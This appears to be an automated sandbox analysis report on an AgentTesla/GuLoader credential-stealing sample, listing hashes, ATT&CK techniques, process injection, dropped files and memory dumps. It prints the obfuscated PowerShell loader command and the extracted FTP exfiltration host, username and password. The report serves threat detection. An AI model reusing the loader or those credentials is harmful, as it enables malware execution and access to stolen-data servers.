agenttesla | f585e6456d94d55f7066b196ae8d5032a7c3e7dd4ddf56c31c72fc0d3ad4fe3a

Analysis

max time kernel
140s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20-09-2024 05:15

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General

Target

5132456s2.exe
Size

726KB
MD5

420ec722d368c827be0a307959f370a6
SHA1

2932ed205ee2a08af3fa518de38355a67f49b50a
SHA256

f585e6456d94d55f7066b196ae8d5032a7c3e7dd4ddf56c31c72fc0d3ad4fe3a
SHA512

bd7efce77093a2d9861e51ce37bfae4c3ca199b851f419a3c4296abd3492b27737318b99de880d15601ee4aec38f8bf05cd2f79e898e2e8d9093bede900acdee
SSDEEP

12288:0XZEFyI6M3BiMdgUB27X6SVn0GY5g0CeD43JZHVDwrG8qjWKsG4h8/zu8n8RPa+A:0XeFb6Een6S0GYBiRVmqjWJG4hchn8op

Score

10^/10

agenttesla guloader credential_access discovery downloader execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://mail.hearing-vision.com
Port:
21
Username:
[email protected]
Password:
LILKOOLL14!

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Loads dropped DLL 1 IoCs

pid	Process
4816	5132456s2.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\androsporangium.Pan	5132456s2.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2588	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2192	powershell.exe
2588	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2192 set thread context of 2588	2192	powershell.exe	99

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\evenworthy.ini	5132456s2.exe
File opened for modification	C:\Windows\resources\dlgsmaalets.him	5132456s2.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5132456s2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2588	wabmig.exe
2588	wabmig.exe
2588	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2192	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2588	wabmig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 2192	4816	5132456s2.exe	89
PID 4816 wrote to memory of 2192	4816	5132456s2.exe	89
PID 4816 wrote to memory of 2192	4816	5132456s2.exe	89
PID 2192 wrote to memory of 2588	2192	powershell.exe	99
PID 2192 wrote to memory of 2588	2192	powershell.exe	99
PID 2192 wrote to memory of 2588	2192	powershell.exe	99
PID 2192 wrote to memory of 2588	2192	powershell.exe	99
PID 2192 wrote to memory of 2588	2192	powershell.exe	99

C:\Users\Admin\AppData\Local\Temp\5132456s2.exe
"C:\Users\Admin\AppData\Local\Temp\5132456s2.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Shant=Get-Content 'C:\Users\Admin\AppData\Local\Thundershowers\Immortalizes65\Lovage.Sam51';$Farveskrmens=$Shant.SubString(6424,3);.$Farveskrmens($Shant)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3808,i,4174666705242427184,7333705955694532165,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:8
1⤵
PID:2216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymqysujt.ura.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsq5FDF.tmp\nsExec.dll

Filesize
7KB

MD5
11092c1d3fbb449a60695c44f9f3d183

SHA1
b89d614755f2e943df4d510d87a7fc1a3bcf5a33

SHA256
2cd3a2d4053954db1196e2526545c36dfc138c6de9b81f6264632f3132843c77

SHA512
c182e0a1f0044b67b4b9fb66cef9c4955629f6811d98bbffa99225b03c43c33b1e85cacabb39f2c45ead81cd85e98b201d5f9da4ee0038423b1ad947270c134a

Download Submit
C:\Users\Admin\AppData\Local\Thundershowers\Immortalizes65\Lovage.Sam51

Filesize
53KB

MD5
f99e85a95226fbe843d6e5d5516b0ab5

SHA1
c04a30c62e23f1b5146afbca2f7d42208114c792

SHA256
09f14d639b727ef583fd2d59e32d4546c5372955ea3c859aa2d7a9b3ef35a1d5

SHA512
69c81a02309199277e241e8d7e5087bc1b1b0b2187a2c95d06af79e96153695979acd1a5a9481197091a42c02dde77b3c72a4d00181a39b83415710b5e0185a0

Download Submit
C:\Users\Admin\AppData\Local\Thundershowers\Immortalizes65\quinazolin.Suk

Filesize
300KB

MD5
bf6b70caf87c6881bef1a42909683b56

SHA1
f7b78dabbb92f2d7ea5f6c7e8e04e4859584c2bf

SHA256
3cf567eda36f61ddb11aca54dff8ba1352008a79031582da0c828d12ffb9b9fe

SHA512
6c4c345331ea34510dd453bc5fea3a8eeda67e69f73a2620e0c8d3ff99294ac43cb6a0246c3f80f3b18085bd5ebec499574d0738419daaff5bfecc9b86bc5f7f

Download Submit
memory/2192-44-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-63-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-21-0x0000000004E80000-0x0000000004EA2000-memory.dmp

Filesize
136KB

Download
memory/2192-22-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/2192-23-0x00000000055E0000-0x0000000005646000-memory.dmp

Filesize
408KB

Download
memory/2192-19-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-29-0x0000000005750000-0x0000000005AA4000-memory.dmp

Filesize
3.3MB

Download
memory/2192-35-0x0000000005F30000-0x0000000005F7C000-memory.dmp

Filesize
304KB

Download
memory/2192-34-0x0000000005F00000-0x0000000005F1E000-memory.dmp

Filesize
120KB

Download
memory/2192-36-0x0000000006430000-0x00000000064C6000-memory.dmp

Filesize
600KB

Download
memory/2192-37-0x00000000063E0000-0x00000000063FA000-memory.dmp

Filesize
104KB

Download
memory/2192-38-0x0000000006ED0000-0x0000000006EF2000-memory.dmp

Filesize
136KB

Download
memory/2192-39-0x0000000007550000-0x0000000007AF4000-memory.dmp

Filesize
5.6MB

Download
memory/2192-49-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-41-0x0000000008180000-0x00000000087FA000-memory.dmp

Filesize
6.5MB

Download
memory/2192-43-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-17-0x00000000048D0000-0x0000000004906000-memory.dmp

Filesize
216KB

Download
memory/2192-45-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-16-0x00000000732EE000-0x00000000732EF000-memory.dmp

Filesize
4KB

Download
memory/2192-20-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-18-0x0000000004F40000-0x0000000005568000-memory.dmp

Filesize
6.2MB

Download
memory/2192-47-0x00000000732EE000-0x00000000732EF000-memory.dmp

Filesize
4KB

Download
memory/2192-50-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-52-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-51-0x0000000008800000-0x000000000AD5E000-memory.dmp

Filesize
37.4MB

Download
memory/2192-53-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-54-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-55-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-56-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-48-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-59-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2192-61-0x00000000732E0000-0x0000000073A90000-memory.dmp

Filesize
7.7MB

Download
memory/2588-60-0x0000000000C80000-0x0000000001ED4000-memory.dmp

Filesize
18.3MB

Download
memory/2588-57-0x0000000001EE0000-0x000000000443E000-memory.dmp

Filesize
37.4MB

Download
memory/2588-62-0x0000000000C80000-0x0000000001ED4000-memory.dmp

Filesize
18.3MB

Download
memory/2588-64-0x0000000000C80000-0x0000000000CC2000-memory.dmp

Filesize
264KB

Download
memory/2588-66-0x0000000022D00000-0x0000000022D50000-memory.dmp

Filesize
320KB

Download
memory/2588-67-0x0000000022DF0000-0x0000000022E82000-memory.dmp

Filesize
584KB

Download
memory/2588-68-0x0000000022CE0000-0x0000000022CEA000-memory.dmp

Filesize
40KB

Download